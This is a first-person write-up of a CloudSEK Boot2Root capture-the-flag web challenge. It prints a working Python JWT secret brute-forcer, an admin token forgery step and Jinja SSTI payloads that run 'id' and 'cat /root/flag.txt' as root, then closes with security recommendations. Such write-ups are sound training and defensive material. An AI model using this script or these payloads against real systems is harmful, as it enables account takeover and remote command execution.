🚀 CloudSEK Round 2 CTF Write-Up — Boot2Root Challenge

Challenge

🏴‍☠️ Challenge Overview

This challenge was a Boot2Root-style web exploitation lab, where the goal was to gain initial access, escalate privileges, and finally execute root-level commands to retrieve the flag.

The challenge tested skills in:

• Source code analysis
• JWT token manipulation
• Cryptographic weakness exploitation
• Server-Side Template Injection (SSTI)
• Privilege escalation to root

🔍 Step 1: Credential Discovery via Source Code

The first step was basic reconnaissance.

While inspecting the page source, I discovered hardcoded credentials related to a user named:

username:flightoperator

password:GlowCloud!93

These credentials were directly usable and allowed me to successfully log into the application.

🔑 Lesson: Never trust client-side secrecy — credentials should never be exposed in frontend code.

🧪 Step 2: JavaScript Analysis (console.js)

After login, I analyzed the loaded JavaScript files, especially:

console.js

This file controlled

• Session handling
• Role-based UI access
• Admin command execution logic

Key Observations

• Session tokens were stored in sessionStorage
• Role (guest / admin) was derived purely from JWT claims
• Admin functionality was restricted only on the client side
• A checksum function used for “message integrity” was fully exposed

window.hyperpulseChecksum = computeChecksum;

This immediately indicated client-side trust issues and potential for abuse.

🔐 Step 3: JWT Analysis & Token Forgery Opportunity

The application used JWT authentication with:

• Algorithm: HS256
• Shared secret for signing & verification
• No backend validation of role claims

Because HS256 uses a symmetric secret, recovering the secret allows full token forgery.

🔓 Step 4: Brute-Forcing the JWT Secret

To recover the JWT signing secret, I wrote a Python script (bruteforce.py) that:

• Generated admin JWTs
• Signed them using candidates from the RockYou wordlist
• Sent them to /api/session
• Checked for a 200 OK response

import jwt
import requests
import time

URL = "http://15.206.47.5:8443/api/session"

payload = {
    "sub": "admin",
    "username": "admin",
    "role": "admin",
    "iat": int(time.time()),
    "exp": int(time.time()) + 3600
}

headers = {
    "alg": "HS256",
    "typ": "JWT"
}

found = False

with open("/usr/share/wordlists/rockyou.txt", "r", encoding="latin-1", errors="ignore") as f:
    for i, secret in enumerate(f):
        secret = secret.strip()
        if not secret:
            continue

        try:
            token = jwt.encode(payload, secret, algorithm="HS256", headers=headers)
            r = requests.get(
                URL,
                headers={"Authorization": f"Bearer {token}"},
                timeout=3
            )

            if r.status_code == 200:
                print("\n🔥 SUCCESS 🔥")
                print("SECRET:", secret)
                print("TOKEN:", token)
                found = True
                break

        except Exception:
            pass

        if i % 10000 == 0:
            print(f"[+] Tried {i} passwords...")

if not found:
    print("\n❌ Finished RockYou — no valid secret found")

Result 🎯

The correct JWT secret was discovered as:

butterfly

This single weakness completely broke the authentication model.

🪙 Step 5: Forging an Admin JWT

With the secret known, I generated a clean admin JWT using jwt1.py:

payload = {
    "sub": "admin",
    "username": "admin",
    "role": "admin"
}

Signed using:

HS256 + secret = butterfly

The forged token was injected into the browser:

sessionStorage.setItem("orbitalToken", "<ADMIN_JWT>");
location.reload();

✅ The backend accepted the token ✅ The session role became admin

⚙️ Step 6: Accessing the Admin Execution Endpoint

With admin privileges, I gained access to:

POST /api/admin/hyperpulse

This endpoint:

• Executed instructions
• Trusted a client-generated checksum
• Returned execution output directly

Because the checksum algorithm was exposed, I could generate valid checksums for arbitrary payloads.

🐛 Step 7: Identifying Server-Side Template Injection (SSTI)

To test for SSTI, I submitted a harmless payload:

{{7*7}}

Response:

49

🎯 This confirmed:

• The backend renders templates
• User input is unsafely evaluated
• SSTI vulnerability exists

🔥 Step 8: Escalating SSTI → Remote Command Execution

After confirming SSTI, I escalated to command execution using a known Jinja payload:

{{cycler.__init__.__globals__.os.popen('id').read()}}

Output:

uid=0(root) gid=1000(root) groups=1000(root)

🚨 This confirmed:

• Commands execute as root
• No privilege dropping is enforced
• Full system compromise is possible

🏁 Step 9: Retrieving the Flag (Boot2Root Complete)

Final payload used:

{{cycler.__init__.__globals__.os.popen('cat /root/flag.txt').read()}}

The contents of /root/flag.txt were returned in the response.

🏴‍☠️ Boot2Root successfully completed

🔗 Full Attack Chain Summary

Exposed Credentials
        ↓
User Login
        ↓
Client-Side JS Analysis
        ↓
JWT HS256 Misconfiguration
        ↓
Secret Brute Force (RockYou)
        ↓
Admin Token Forgery
        ↓
Client-Side Checksum Abuse
        ↓
Admin API Access
        ↓
SSTI
        ↓
Root Command Execution
        ↓
FLAG 🚩

🧠 Key Takeaways

This challenge demonstrated how multiple small issues, when chained together, can result in total system compromise:

• Client-side trust of authorization
• Weak JWT secrets
• Symmetric JWT signing (HS256)
• Exposed cryptographic logic
• Unsafe template rendering
• Root-level command execution

🔐 Security Recommendations

• Use RS256 instead of HS256 for JWTs
• Never trust role claims without backend verification
• Never expose secrets or integrity algorithms to clients
• Sanitize and escape all template inputs
• Enforce least-privilege execution on backend services

🎯 Conclusion

CloudSEK Round 2 was an excellent realistic Boot2Root challenge, showcasing how improper authentication design and insecure coding practices can completely collapse application security.

A great learning experience that reinforced the importance of defense-in-depth and secure token handling.